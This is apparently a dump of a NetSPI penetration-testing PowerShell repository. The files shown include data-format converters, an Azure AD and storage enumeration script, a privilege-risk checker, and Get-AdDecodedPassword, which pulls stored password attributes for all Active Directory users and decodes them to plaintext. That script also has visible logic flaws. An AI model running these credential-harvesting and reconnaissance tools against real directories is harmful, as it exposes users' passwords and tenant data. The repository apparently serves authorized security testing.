├── Convert-CsvToPsDt.ps1
├── Convert-DataTableToHtmlTable.ps1
├── Convert-ImageToHtml.ps1
├── Create-FakeSensitiveData.psm1
├── Dump-AzureDomainInfo.ps1
├── Get-AdDecodedPassword.psm1
├── Get-BadPrivilege.psm1
├── Get-DomainInfoADPS.psm1
├── Get-FederationEndpoint.ps1
├── Get-GPPPasswordMod.ps1
├── Get-GPRegistryPolicy.ps1
├── Get-GraphAPIToken.ps1
├── Get-IpInfoFromCap.ps1
├── Get-PublicAwsS3BucketList.psm1
├── Get-SSLCertInfo-CTFR.psm1
├── Get-SSLCertInfo-Scan.psm1
├── Install-NetspiAgent.psm1
├── Invoke-ExternalDomainBruteforce.psm1
├── Invoke-HuntSQLServers.ps1
├── Invoke-MassMimikatz-PsRemoting.psm1
├── Invoke-SqlServer-Persist-StartupSp.psm1
├── Invoke-SqlServer-Persist-TriggerDDL.psm1
├── Invoke-WebFilterTest.psm1
├── Load-AdPsModule.ps1
├── PowerSkype.ps1
├── README.md
├── Resolve-DnsDomainValidationToken.ps1
├── Send-ProtocolHandlerEmailLinks.psm1
├── cryptit
├── Crypt-It.ps1
├── CryptIt.cs
└── CryptItexe.zip
├── fish.ps1
└── fish.psm1
/Convert-CsvToPsDt.ps1:
--------------------------------------------------------------------------------
1 | Function Convert-CsvToPsDt
2 | {
3 | <#
4 | .SYNOPSIS
5 | This function can be used to convert a CSV into PowerShell code
6 | that creates a data table that mirrors the CSV structure and content.
7 | .PARAMETER $Infile
8 | The csv input file path.
9 | .PARAMETER $Outfile
10 | The output file path.
11 | .EXAMPLE
12 | PS C:\> Convert-CsvToPsDt -Infile c:\temp\serverinfo.csv -Outfile c:\temp\createmydatatable.ps1
13 | .NOTES
14 | Author: Scott Sutherland (@_nullbind)
15 | #>
16 | [CmdletBinding()]
17 | Param(
18 | [Parameter(Mandatory = $true,
19 | HelpMessage = 'The csv input file path.')]
20 | [string]$Infile,
21 | [Parameter(Mandatory = $true,
22 | HelpMessage = 'The output file path.')]
23 | [string]$Outfile = ".\MyPsDataTable.ps1"
24 | )
25 |
26 | # Test file path
27 | if(Test-Path $Infile)
28 | {
29 | Write-Output "[+] $Infile is accessible."
30 | }else{
31 | write-Output "[-] $Infile is not accessible, aborting."
32 | break
33 | }
34 |
35 | # Import CSV
36 | Write-Output "[+] Importing csv file."
37 | $MyCsv = Import-Csv $Infile
38 |
39 | # Get list of columns
40 | Write-Output "[+] Paring columns."
41 | $MyCsvColumns = $MyCsv | Get-Member | Where-Object MemberType -like "NoteProperty" | Select-Object Name -ExpandProperty Name
42 |
43 | # Print data table creation
44 | Write-Output "[+] Writing data table object to $Outfile."
45 | write-output '$MyTable = New-Object System.Data.DataTable' | Out-File $Outfile
46 |
47 | # Print columns creation
48 | Write-Output "[+] Writing data table columns to $Outfile."
49 | $MyCsvColumns |
50 | ForEach-Object {
51 |
52 | write-Output "`$null = `$MyTable.Columns.Add(`"$_`")" | Out-File $Outfile -Append
53 |
54 | }
55 |
56 | # Print data rows
57 | Write-Output "[+] Writing data table rows to $Outfile."
58 | $MyCsv |
59 | ForEach-Object {
60 |
61 | # Create a value contain row data
62 | $CurrentRow = $_
63 | $PrintRow = ""
64 | $MyCsvColumns |
65 | ForEach-Object{
66 | $GetValue = $CurrentRow | Select-Object $_ -ExpandProperty $_
67 | if($PrintRow -eq ""){
68 | $PrintRow = "`"$GetValue`""
69 | }else{
70 | $PrintRow = "$PrintRow,`"$GetValue`""
71 | }
72 | }
73 |
74 | # Print row addition
75 | write-Output "`$null = `$MyTable.Rows.Add($PrintRow)" | Out-File $Outfile -Append
76 | }
77 |
78 | Write-Output "[+] All done."
79 | }
80 |
--------------------------------------------------------------------------------
/Convert-DataTableToHtmlTable.ps1:
--------------------------------------------------------------------------------
1 | function Convert-DataTableToHtmlTable
2 | {
3 | <#
4 | .SYNOPSIS
5 | This function can be used to convert a data table or ps object into a html table.
6 | .PARAMETER $DataTable
7 | The datatable to input.
8 | .PARAMETER $Outfile
9 | The output file path.
10 | .PARAMETER $Title
11 | Title of the page.
12 | .PARAMETER $Description
13 | Description of the page.
14 | .EXAMPLE
15 | $object = New-Object psobject
16 | $Object | Add-Member Noteproperty Name "my name 1"
17 | $Object | Add-Member Noteproperty Description "my description 1"
18 | Convert-DataTableToHtmlTable -Verbose -DataTable $object -Outfile ".\MyPsDataTable.html" -Title "MyPage" -Description "My description" -DontExport
19 | Convert-DataTableToHtmlTable -Verbose -DataTable $object -Outfile ".\MyPsDataTable.html" -Title "MyPage" -Description "My description"
20 | .\MyPsDataTable.html
21 | .NOTES
22 | Author: Scott Sutherland (@_nullbind)
23 | #>
24 | param (
25 | [Parameter(Mandatory = $true,
26 | HelpMessage = 'The datatable to input.')]
27 | $DataTable,
28 | [Parameter(Mandatory = $false,
29 | HelpMessage = 'The output file path.')]
30 | [string]$Outfile = ".\MyPsDataTable.html",
31 | [Parameter(Mandatory = $false,
32 | HelpMessage = 'Title of page.')]
33 | [string]$Title = "HTML Table",
34 | [Parameter(Mandatory = $false,
35 | HelpMessage = 'Description of page.')]
36 | [string]$Description = "HTML Table",
37 | [Parameter(Mandatory = $false,
38 | HelpMessage = 'Disable file save.')]
39 | [switch]$DontExport
40 | )
41 |
42 | # Setup HTML begin
43 | Write-Verbose "[+] Creating html top."
44 | $HTMLSTART = @"
45 |
46 |
47 | $Title
48 |
152 |
153 |
154 | Back to Report
155 | $Title
156 | $Description
157 |
158 | "@
159 |
160 | # Get list of columns
161 | Write-Verbose "[+] Parsing data table columns."
162 | $MyCsvColumns = $DataTable | Get-Member | Where-Object MemberType -like "NoteProperty" | Select-Object Name -ExpandProperty Name
163 |
164 | # Print columns creation
165 | Write-Verbose "[+] Creating html table columns."
166 | $HTMLTableHeadStart= ""
167 | $MyCsvColumns |
168 | ForEach-Object {
169 |
170 | # Add column
171 | $HTMLTableColumn = "$_ | $HTMLTableColumn"
172 | }
173 | $HTMLTableColumn = "$HTMLTableHeadStart$HTMLTableColumn
"
174 |
175 | # Create table rows
176 | Write-Verbose "[+] Creating html table rows."
177 | $HTMLTableRow = $DataTable |
178 | ForEach-Object {
179 |
180 | # Create a value contain row data
181 | $CurrentRow = $_
182 | $PrintRow = ""
183 | $MyCsvColumns |
184 | ForEach-Object{
185 | $GetValue = $CurrentRow | Select-Object $_ -ExpandProperty $_
186 | if($PrintRow -eq ""){
187 | #$PrintRow = "$GetValue | "
188 | }else{
189 | $PrintRow = "$GetValue | $PrintRow"
190 | }
191 | }
192 |
193 | # Return row
194 | $HTMLTableHeadstart = ""
195 | $HTMLTableHeadend = "
"
196 | "$HTMLTableHeadStart$PrintRow$HTMLTableHeadend"
197 | }
198 |
199 | # Setup HTML end
200 | Write-Verbose "[+] Creating html bottom."
201 | $HTMLEND = @"
202 |
203 |
204 |
205 |
206 | "@
207 |
208 | # Return it
209 | "$HTMLSTART $HTMLTableColumn $HTMLTableRow $HTMLEND"
210 |
211 | # Write file
212 | if(-not $DontExport){
213 | "$HTMLSTART $HTMLTableColumn $HTMLTableRow $HTMLEND" | Out-File $Outfile
214 | }
215 | }
216 |
--------------------------------------------------------------------------------
/Convert-ImageToHtml.ps1:
--------------------------------------------------------------------------------
1 | function Convert-ImageToHtml
2 | {
3 | <#
4 | .SYNOPSIS
5 | This function can be used to convert an image file into an HTML IMG tag with an image
6 | embedded in the SRC so that an external image file doesn't have to be referenced.
7 | .PARAMETER $ImageFile
8 | The image file path.
9 | .PARAMETER $MakeHtml
10 | An HTML file will be created using the same name as the image file.
11 | .EXAMPLE
12 | Convert a single image file to an HTML IMG tag and display the code.
13 | PS C:\> Convert-ImageToHtml -$ImageFile c:\temp\picture.png -Verbose
14 | .EXAMPLE
15 | Convert a directory of images to HTML IMG tags and display the code.
16 | PS C:\> Get-ChildItem *.png | select fullname | Convert-ImageToHtml -Verbose
17 | .EXAMPLE
18 | Convert a directory of images to HTML IMG tags, display the code, and write them to html files.
19 | PS C:\> Get-ChildItem *.png | select fullname | Convert-ImageToHtml -Verbose -MakeHtml
20 | .NOTES
21 | Author: Scott Sutherland (@_nullbind)
22 | #>
23 |
24 | [CmdletBinding()]
25 | Param(
26 | [Parameter(Mandatory = $true,
27 | ValueFromPipeline = $true,
28 | ValueFromPipelineByPropertyName = $true,
29 | HelpMessage = 'The image file path.')]
30 | [string]$ImageFile,
31 |
32 | [Parameter(Mandatory = $false,
33 | HelpMessage = 'An HTML file will be created using the same name as the image file.')]
34 | [switch]$MakeHtml
35 | )
36 |
37 |
38 | Process {
39 |
40 | try {
41 |
42 | # Process for common parameter names if pipeline is used
43 | if($PSCmdlet.MyInvocation.ExpectingInput){
44 | $CheckFullName = $_ | gm | where name -like "fullname"
45 | if($CheckFullName){
46 | $ImageFile = $_.fullname
47 | }
48 | }
49 |
50 | # Verbose info
51 | Write-Verbose "Processing $ImageFile"
52 |
53 | # Read image file
54 | $ImageBytes = [System.IO.File]::ReadAllBytes("$ImageFile")
55 |
56 | # Convert to base64 string
57 | $ImageString = [System.Convert]::ToBase64String($ImageBytes)
58 |
59 | # Create HTML with an embedded image
60 | $output = "
"
61 |
62 | # Display image tag
63 | $output
64 |
65 | if($MakeHtml){
66 | $output | Out-File "$ImageFile.html"
67 | }
68 | }catch{
69 | Write-Error "Something went wrong. Check your paths. :)" -ErrorId B1 -TargetObject $_
70 | }
71 |
72 | }
73 | }
74 |
--------------------------------------------------------------------------------
/Dump-AzureDomainInfo.ps1:
--------------------------------------------------------------------------------
1 | <#
2 | File: Dump-AzureDomainInfo.ps1
3 | Author: Karl Fosaaen (@kfosaaen), NetSPI - 2017
4 | Description: PowerShell functions for enumerating information from AzureAD/MSOL domains.
5 | #>
6 |
7 | # To Do:
8 | # Add better error handling
9 | # Add option to disable group dump
10 | # Add additional AzureRM features/data
11 |
12 | #Requires -Modules MSOnline,AzureRM
13 |
14 |
15 | Function Dump-AzureDomainInfo-MSOL
16 | {
17 | <#
18 | .SYNOPSIS
19 | Dumps information from an MSOL domain via authenticated MSOL connection.
20 | .PARAMETER folder
21 | The folder to output to.
22 | .EXAMPLE
23 | PS C:\> Dump-AzureDomainInfo -folder Test -Verbose
24 | VERBOSE: Getting Domain Contact Info...
25 | VERBOSE: Getting Domains...
26 | VERBOSE: 4 Domains were found.
27 | VERBOSE: Getting Domain Users...
28 | VERBOSE: 200 Domain Users were found across 4 domains.
29 | VERBOSE: Getting Domain Groups...
30 | VERBOSE: 90 Domain Groups were found.
31 | VERBOSE: Getting Domain Users for each group...
32 | VERBOSE: Domain Group Users were enumerated for 90 groups.
33 | VERBOSE: Getting Domain Devices...
34 | VERBOSE: 22 devices were enumerated.
35 | VERBOSE: Getting Domain Service Principals...
36 | VERBOSE: 134 service principals were enumerated.
37 | VERBOSE: All done.
38 |
39 | #>
40 |
41 | [CmdletBinding()]
42 | Param(
43 | [Parameter(Mandatory=$false,
44 | HelpMessage="Folder to output to.")]
45 | [string]$folder
46 | )
47 |
48 | # Folder Parameter Checking
49 | if ($folder){if(Test-Path $folder){if(Test-Path $folder"\MSOL"){}else{New-Item -ItemType Directory $folder"\MSOL"|Out-Null}}else{New-Item -ItemType Directory $folder|Out-Null ; New-Item -ItemType Directory $folder"\MSOL"|Out-Null}}
50 | else{if(Test-Path MSOL){}else{New-Item -ItemType Directory MSOL|Out-Null};$folder=".\"}
51 |
52 | # Authenticate to MSOL
53 | Connect-MsolService
54 |
55 | # Get/Write Company Info
56 | Write-Verbose "Getting Domain Contact Info..."
57 | Get-MsolCompanyInformation | Out-File -LiteralPath $folder"\MSOL\DomainCompanyInfo.txt"
58 |
59 | # Get/Write Domains
60 | Write-Verbose "Getting Domains..."
61 | $domains = Get-MsolDomain
62 | $domains | select Name,Status,Authentication | Export-Csv -NoTypeInformation -LiteralPath $folder"\MSOL\Domains.CSV"
63 | $domainCount = $domains.Count
64 | Write-Verbose "$domainCount Domains were found."
65 |
66 | # Get/Write Users for each domain
67 | Write-Verbose "Getting Domain Users..."
68 | $userCount=0
69 | $domains | select Name | ForEach-Object {$DomainIter=$_.Name; $domainUsers=Get-MsolUser -All -DomainName $DomainIter; $userCount+=$domainUsers.Count; $domainUsers | Select-Object @{Label="Domain"; Expression={$DomainIter}},UserPrincipalName,DisplayName,isLicensed | Export-Csv -NoTypeInformation -LiteralPath $folder"\MSOL\"$DomainIter"_Users.CSV"}
70 | Write-Verbose "$userCount Domain Users were found across $domainCount domains."
71 |
72 | # Get/Write Groups
73 | Write-Verbose "Getting Domain Groups..."
74 | if(Test-Path $folder"\MSOL\Groups"){}
75 | else{New-Item -ItemType Directory $folder"\MSOL\Groups" | Out-Null}
76 | $groups = Get-MsolGroup -All -GroupType Security
77 | $groupCount = $groups.Count
78 | Write-Verbose "$groupCount Domain Groups were found."
79 | Write-Verbose "Getting Domain Users for each group..."
80 | $groups | Export-Csv -NoTypeInformation -LiteralPath $folder"\MSOL\Groups.CSV"
81 | $groups | ForEach-Object {$groupName=$_.DisplayName; Get-MsolGroupMember -All -GroupObjectId $_.ObjectID | Select-Object @{ Label = "Group Name"; Expression={$groupName}}, EmailAddress, DisplayName | Export-Csv -NoTypeInformation -LiteralPath $folder"\MSOL\Groups\group_"$groupName"_Users.CSV"}
82 | Write-Verbose "Domain Group Users were enumerated for $groupCount groups."
83 |
84 | # Get/Write Devices
85 | Write-Verbose "Getting Domain Devices..."
86 | $devices = Get-MsolDevice -All
87 | $devices | Export-Csv -NoTypeInformation -LiteralPath $folder"\MSOL\Domain_Devices.CSV"
88 | $deviceCount = $devices.Count
89 | Write-Verbose "$deviceCount devices were enumerated."
90 |
91 |
92 | # Get/Write Service Principals
93 | Write-Verbose "Getting Domain Service Principals..."
94 | $principals = Get-MsolServicePrincipal -All
95 | $principals | Export-Csv -NoTypeInformation -LiteralPath $folder"\MSOL\Domain_SPNs.CSV"
96 | $principalCount = $principals.Count
97 | Write-Verbose "$principalCount service principals were enumerated."
98 |
99 |
100 | Write-Verbose "All done with MSOL tasks.`n"
101 | }
102 |
103 | Function Dump-AzureDomainInfo-AzureRM
104 | {
105 | <#
106 | .SYNOPSIS
107 | Dumps information from an AzureAD domain via authenticated AzureRM connection.
108 | .PARAMETER folder
109 | The folder to output to.
110 | .EXAMPLE
111 | PS C:\> Dump-AzureDomainInfo-AzureRM -folder Test -Verbose
112 | VERBOSE: Getting Domain Users...
113 | VERBOSE: 200 Domain Users were found.
114 | VERBOSE: Getting Domain Groups...
115 | VERBOSE: 150 Domain Groups were found.
116 | VERBOSE: Getting Domain Users for each group...
117 | VERBOSE: Domain Group Users were enumerated for 150 groups.
118 | VERBOSE: Getting Domain Service Principals...
119 | VERBOSE: 140 service principals were enumerated.
120 | VERBOSE: All done with AzureRM tasks.
121 |
122 | #>
123 |
124 | # AzureRM Functions - https://docs.microsoft.com/en-us/azure/azure-resource-manager/powershell-azure-resource-manager
125 | #
126 | # Get-AzureRmSubscription
127 | # Get-AzureRmSqlDatabase
128 |
129 |
130 | [CmdletBinding()]
131 | Param(
132 | [Parameter(Mandatory=$false,
133 | HelpMessage="Folder to output to.")]
134 | [string]$folder
135 | )
136 |
137 | # Folder Parameter Checking
138 | if ($folder){if(Test-Path $folder){if(Test-Path $folder"\AzureRM"){}else{New-Item -ItemType Directory $folder"\AzureRM"|Out-Null}}else{New-Item -ItemType Directory $folder|Out-Null ; New-Item -ItemType Directory $folder"\AzureRM"|Out-Null}}
139 | else{if(Test-Path AzureRM){}else{New-Item -ItemType Directory AzureRM|Out-Null};$folder=".\"}
140 |
141 | # Authenticate to AzureRM
142 | Login-AzureRmAccount
143 |
144 | # Get TenantId
145 | $tenantID = Get-AzureRmTenant | select TenantId
146 |
147 | # Get/Write Users for each domain
148 | Write-Verbose "Getting Domain Users..."
149 | $userCount=0
150 | $users=Get-AzureRmADUser
151 | $users | Export-Csv -NoTypeInformation -LiteralPath $folder"\AzureRM\Users.CSV"
152 | $userCount=$users.Count
153 | Write-Verbose "$userCount Domain Users were found."
154 |
155 | # Get/Write Groups
156 | Write-Verbose "Getting Domain Groups..."
157 | if(Test-Path $folder"\AzureRM\Groups"){}
158 | else{New-Item -ItemType Directory $folder"\AzureRM\Groups" | Out-Null}
159 | $groups=Get-AzureRmADGroup
160 | $groupCount = $groups.Count
161 | Write-Verbose "$groupCount Domain Groups were found."
162 | Write-Verbose "Getting Domain Users for each group..."
163 | $groups | Export-Csv -NoTypeInformation -LiteralPath $folder"\AzureRM\Groups.CSV"
164 | $groups | ForEach-Object {$groupName=$_.DisplayName; Get-AzureRmADGroupMember -GroupObjectId $_.Id | Select-Object @{ Label = "Group Name"; Expression={$groupName}}, DisplayName | Export-Csv -NoTypeInformation -LiteralPath $folder"\AzureRM\Groups\group_"$groupName"_Users.CSV"}
165 | Write-Verbose "Domain Group Users were enumerated for $groupCount group(s)."
166 |
167 | #Get-AzureRmADApplication
168 | # TBD
169 |
170 | #Get Storage Account name(s)
171 | $storageAccounts = Get-AzureRmStorageAccount | select StorageAccountName,ResourceGroupName
172 |
173 | if(Test-Path $folder"\AzureRM\Files"){}
174 | else{New-Item -ItemType Directory $folder"\AzureRM\Files" | Out-Null}
175 |
176 | Foreach ($storageAccount in $storageAccounts){
177 | $StorageAccountName = $storageAccount.StorageAccountName
178 | Write-Verbose "Listing out blob files for the $StorageAccountName storage account..."
179 | #Set Context
180 | Set-AzureRmCurrentStorageAccount -ResourceGroupName $storageAccount.ResourceGroupName -Name $storageAccount.StorageAccountName | Out-Null
181 |
182 | $strgName = $storageAccount.StorageAccountName
183 |
184 | #Create folder for each Storage Account for cleaner output
185 | if(Test-Path $folder"\AzureRM\Files\"$strgName){}
186 | else{New-Item -ItemType Directory $folder"\AzureRM\Files\"$strgName | Out-Null}
187 |
188 | #List Containers and Files and Export to CSV
189 | $containers = Get-AzureStorageContainer | select Name
190 |
191 | foreach ($container in $containers){
192 | $containerName = $container.Name
193 | Write-Verbose "`tListing files for the $containerName container"
194 | $pathName = "\AzureRM\Files\"+$strgName+"\Blob_Files_"+$container.Name
195 | Get-AzureStorageBlob -Container $container.Name | Export-Csv -NoTypeInformation -LiteralPath $folder$pathName".CSV"
196 |
197 | #Check if the container is public, write to PublicFileURLs.txt
198 | $publicStatus = Get-AzureStorageContainerAcl $container.Name | select PublicAccess
199 | if (($publicStatus.PublicAccess -eq "Blob") -or ($publicStatus.PublicAccess -eq "Container")){
200 | Write-Verbose "`t`tPublic File Found"
201 | #Write public file URL to list
202 | $blobName = Get-AzureStorageBlob -Container $container.Name | select Name
203 | $blobUrl = "https://$StorageAccountName.blob.core.windows.net/$containerName/"+$blobName.Name
204 | $blobUrl >> $folder"\AzureRM\Files\"$strgName"\PublicFileURLs.txt"
205 | }
206 | }
207 |
208 | #Go through each File Service endpoint
209 | Try{
210 | $AZFileShares = Get-AzureStorageShare -ErrorAction Stop | select Name
211 | Write-Verbose "Listing out File Service files for the $StorageAccountName storage account..."
212 | foreach ($share in $AZFileShares) {
213 | $shareName = $share.Name
214 | Write-Verbose "`tListing files for the $shareName share"
215 | Get-AzureStorageFile -ShareName $shareName | select Name | Export-Csv -NoTypeInformation -LiteralPath $folder"\AzureRM\Files\"$strgName"\File_Service_Files-"$shareName".CSV" -Append
216 | }
217 | }
218 | Catch{
219 | Write-Verbose "No available File Service files for the $StorageAccountName storage account..."
220 | }
221 | finally{
222 | $ErrorActionPreference = "Continue"
223 | }
224 |
225 | #Go through each Storage Table endpoint
226 | Try{
227 | $tableList = Get-AzureStorageTable -ErrorAction Stop
228 | if ($tableList.Length -gt 0){
229 | $tableList | Export-Csv -NoTypeInformation -LiteralPath $folder"\AzureRM\Files\"$strgName"\Data_Tables.CSV"
230 | Write-Verbose "Listing out Data Tables for the $StorageAccountName storage account..."
231 | }
232 | else {Write-Verbose "No available Data Tables for the $StorageAccountName storage account..."}
233 | }
234 | Catch{
235 | Write-Verbose "No available Data Tables for the $StorageAccountName storage account..."
236 | }
237 | finally{
238 | $ErrorActionPreference = "Continue"
239 | }
240 |
241 | }
242 |
243 | # Get/Write Service Principals
244 | Write-Verbose "Getting Domain Service Principals..."
245 | $principals = Get-AzureRmADServicePrincipal
246 | $principals | Export-Csv -NoTypeInformation -LiteralPath $folder"\AzureRM\Domain_SPNs.CSV"
247 | $principalCount = $principals.Count
248 | Write-Verbose "$principalCount service principals were enumerated."
249 |
250 |
251 | Write-Verbose "All done with AzureRM tasks.`n"
252 | }
253 |
254 | Function Dump-AzureDomainInfo-All
255 | {
256 |
257 | [CmdletBinding()]
258 | Param(
259 | [Parameter(Mandatory=$false,
260 | HelpMessage="Folder to output to.")]
261 | [string]$folder
262 | )
263 | if($folder){
264 | Dump-AzureDomainInfo-MSOL -folder $folder
265 | Dump-AzureDomainInfo-AzureRM -folder $folder
266 | }
267 | else{
268 | Dump-AzureDomainInfo-MSOL
269 | Dump-AzureDomainInfo-AzureRM
270 | }
271 | }
272 |
--------------------------------------------------------------------------------
/Get-AdDecodedPassword.psm1:
--------------------------------------------------------------------------------
1 | <#
2 | Author: Scott Sutherland (@_nullbind), NetSPI
3 | Version: 0.0.4
4 |
5 | Description
6 | This script uses the Active Directory Powershell Module to query Active Directory
7 | for users with the UnixUserPassword, UserPassword, unicodePwd, or msSFU30Password properties
8 | populated. It then decodes those password fields and displays them to the user.
9 |
10 | .PARAMETER Server
11 |
12 | Specify the domain controller to search for.
13 | Default's to the users current domain.
14 |
15 | .PARAMETER Verbose
16 |
17 | Verbose Information
18 |
19 | This script is based on information shared in the blog below.
20 | Reference: https://www.blackhillsinfosec.com/domain-goodness-learned-love-ad-explorer/
21 |
22 | Example 1: Run on domain system as domain user.
23 | Get-AdDecodedPassword -Verbose
24 |
25 | Example 2: Run on non-domain system and target a remote domain controller with provided credentials
26 | New-PSDrive -PSProvider ActiveDirectory -Name RemoteADS -Root "" -Server a.b.c.d -credential domain\user
27 | cd RemoteADS:
28 | Get-AdDecodedPassword -Verbose
29 |
30 | Example 3: Run on non-domain system and target a remote domain controller with provided credentials.
31 | First: runas /netonly /user:domain\user powershell
32 | A new powershell window will be open. In the new powershell we have the token of the user that it will be used for network resources (SMB,LDAP)
33 | Second: Import-Module Get-AdDecodedPassword.psm; Get-AdDecodedPassword -Verbose -Server a.b.c.d
34 |
35 | #>
36 |
37 | Function Get-AdDecodedPassword
38 | {
39 |
40 | [CmdletBinding()]
41 | Param(
42 | [String]
43 | $Server
44 | )
45 |
46 | # Import the AD PS module
47 | #Import-Module ActiveDirectory
48 |
49 | # Get domain users with populated UnixUserPassword properties
50 | Write-Verbose "Getting list of domain accounts and properties..."
51 | if ($Server -ne $null) {
52 | $EncodedUserPasswords = Get-AdUser -Filter * -Properties * -Server $Server |
53 | Select-Object samaccountname, description, UnixUserPassword, UserPassword, unicodePwd, msSFU30Name, msSFU30Password, os400-password
54 | }else{
55 | $EncodedUserPasswords = Get-AdUser -Filter * -Properties * |
56 | Select-Object samaccountname, description, UnixUserPassword, UserPassword, unicodePwd, msSFU30Name, msSFU30Password, os400-password
57 | }
58 | $EncodedUserPasswords = Get-AdUser -Filter * -Properties * |
59 | Select-Object samaccountname, description, UnixUserPassword, UserPassword, unicodePwd, msSFU30Name, msSFU30Password, os400-password
60 |
61 | # Decode passwords for each user
62 | Write-Verbose "Decoding passwords for each account..."
63 | $DecodedUserPasswords = $EncodedUserPasswords |
64 | ForEach-Object{
65 |
66 | # Grab fields and decode password
67 | $SamAccountName = $_.samaccountname
68 | $Description = $_.description
69 |
70 | $UnixUserPasswordEnc = $_.UnixUserPassword | ForEach-Object {$_};
71 | if($UnixUserPasswordEnc -notlike ""){
72 | $UnixUserPassword = [System.Text.Encoding]::ASCII.GetString($UnixUserPasswordEnc)
73 | }else{
74 | $UnixUserPassword = ""
75 | }
76 |
77 | $os400PasswordEnc = $_.'os400-password' | ForEach-Object {$_};
78 | if($os400PasswordEnc -notlike ""){
79 | $os400Password = [System.Text.Encoding]::ASCII.GetString($os400PasswordEnc)
80 | }else{
81 | $os400Password = ""
82 | }
83 |
84 | $UserPasswordEnc = $_.UserPassword | ForEach-Object {$_};
85 | if($UserPasswordEnc -notlike ""){
86 | $UserPassword = [System.Text.Encoding]::ASCII.GetString($UserPasswordEnc)
87 | }else{
88 | $UserPassword = ""
89 | }
90 |
91 | $unicodePwdEnc = $_.unicodePwd | ForEach-Object {$_};
92 | if($unicodePwdEnc -notlike ""){
93 | $unicodePwd = [System.Text.Encoding]::ASCII.GetString($unicodePwdEnc)
94 | }else{
95 | $unicodePwd = ""
96 | }
97 |
98 | $msSFU30Name = $_.msSFU30Name
99 | $msSFU30PasswordEnc = $_.msSFU30Password | ForEach-Object {$_};
100 | if ($msSFU30PasswordEnc -notlike ""){
101 | $msSFU30Password = [System.Text.Encoding]::ASCII.GetString($msSFU30PasswordEnc)
102 | }else{
103 | $msSFU30Password = ""
104 | }
105 |
106 | # Check if any of the password fields are populated
107 | if(($UnixUserPassword) -or ($UserPassword) -or ($msSFU30Password) -or ($unicodePwd)){
108 |
109 | # Create object to be returned
110 | $UnixPasswords = New-Object PSObject
111 | $UnixPasswords | add-member Noteproperty SamAccountName $SamAccountName
112 | $UnixPasswords | add-member Noteproperty Description $Description
113 | $UnixPasswords | add-member Noteproperty UnixUserPassword $UnixUserPassword
114 | $UnixPasswords | add-member Noteproperty UserPassword $UserPassword
115 | $UnixPasswords | add-member Noteproperty unicodePwd $unicodePwd
116 | $UnixPasswords | add-member Noteproperty msSFU30Name $msSFU30Name
117 | $UnixPasswords | add-member Noteproperty msSFU30Password $msSFU30Password
118 | $UnixPasswords | add-member Noteproperty os400Password $os400Password # Other info in os400-text, os400-profile, os400-owner, os400-pwdexp
119 | }
120 |
121 | # Return object
122 | $UnixPasswords
123 | }
124 |
125 | # Display recovered/decoded passwords
126 | $DecodedUserPasswords | Sort-Object SamAccountName -Unique
127 | $FinalCount = $FinalList.Count
128 | write-verbose "Decoded passwords for $FinalCount domain accounts."
129 | }
130 |
--------------------------------------------------------------------------------
/Get-BadPrivilege.psm1:
--------------------------------------------------------------------------------
1 | # -----------------------------------------
2 | # Function: Get-BadPrivilege
3 | # -----------------------------------------
4 | # With local administrator privileges, this script uses PoshPrivilege to list all user right/privilege assignments.
5 | # It then filters for known dangerous privileges based on https://twitter.com/vysecurity/status/1315272197959749635.
6 | # Requires: https://github.com/proxb/PoshPrivilege
7 | # Wrapper Author: Scott Sutherland, @_nullbind NetSPI 2020
8 | Function Get-BadPrivilege
9 | {
10 |
11 | # Check if Get-Privilege has bee loaded
12 | $CheckFunc = Test-Path Function:\Get-Privilege
13 | If(-not $CheckFunc){
14 | Write-Output "The Get-Privilege function does not appear to be available."
15 | Write-Output "It can be downloaded from https://github.com/proxb/PoshPrivilege."
16 | Write-Output "Aborting run."
17 | break
18 | }
19 |
20 | # Check if the current user is an administrator
21 | $CheckAdmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")
22 | If(-not $CheckAdmin){
23 | Write-Output "This script must be run as a local adminsitrator."
24 | Write-Output "Aborting run."
25 | break
26 | }
27 |
28 | # Create a table of known high risk rights/privileges
29 | $BadPrivileges = New-Object System.Collections.Arraylist
30 | $null = $BadPrivileges.Add("SeImpersonatePrivilege")
31 | $null = $BadPrivileges.Add("SeAssignPrimaryPrivilege")
32 | $null = $BadPrivileges.Add("SeTcbPrivilege")
33 | $null = $BadPrivileges.Add("SeBackupPrivilege")
34 | $null = $BadPrivileges.Add("SeRestorePrivilege")
35 | $null = $BadPrivileges.Add("SeCreateTokenPrivilege")
36 | $null = $BadPrivileges.Add("SeLoadDriverPrivilege")
37 | $null = $BadPrivileges.Add("SeTakeOwnershipPrivilege")
38 | $null = $BadPrivileges.Add("SeDebugPrivilege")
39 |
40 | # Iterate through identified right/privilege assignments
41 | Get-Privilege |
42 | ForEach-Object{
43 |
44 | # Get privilege information
45 | $MyComputerName = $_.ComputerName
46 | $MyPrivilege = $_.Privilege
47 | $MyDescription = $_.Description
48 | $MyAffectedAccounts = $_.Accounts
49 |
50 | # Check if the privilege is high risk
51 | $BadPrivileges |
52 | ForEach-Object{
53 | if ($_ -like "$MyPrivilege*")
54 | {
55 | $MyRiskStatus = "Yes"
56 | }else{
57 | $MyRiskStatus = "No"
58 | }
59 | }
60 |
61 | # Parse affected accounts
62 | $MyAffectedAccounts |
63 | ForEach-Object{
64 |
65 | $myObject = [PSCustomObject]@{
66 | ComputerName = [string]$MyComputerName
67 | Privilege = [string]$MyPrivilege
68 | HighRisk = [string]$MyRiskStatus
69 | Description = [string]$MyDescription
70 | User = [string]$_
71 | }
72 |
73 | $myObject
74 | }
75 | }
76 | }
77 |
--------------------------------------------------------------------------------
/Get-FederationEndpoint.ps1:
--------------------------------------------------------------------------------
1 | <#
2 | .SYNOPSIS
3 | This script can be used to enumerate information about federated domains from Microsoft's APIs.
4 |
5 | .DESCRIPTION
6 | This script can be used to identify potential authentication points for federated domains. A "test" email address is sent to Microsoft's federation check API and the JSON response is parsed by the script. The data is then returned as a datatable.
7 |
8 | .EXAMPLE
9 |
10 | PS C:\> Get-FederationEndpoint -domain microsoft.com | ft -AutoSize
11 |
12 | Domain Type BrandName AuthURL
13 | ------ ---- --------- -------
14 | microsoft.com Federated Microsoft https://msft.sts.microsoft.com/adfs/ls/?username=test%40microsoft.com&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=
15 |
16 |
17 | .EXAMPLE
18 |
19 | PS C:\> Get-Content "C:\Temp\domains.txt" | ForEach-Object {Get-FederationEndpoint -domain $_} | ft -AutoSize
20 |
21 | .NOTES
22 | Author: Karl Fosaaen (@kfosaaen) - 2016, NetSPI
23 |
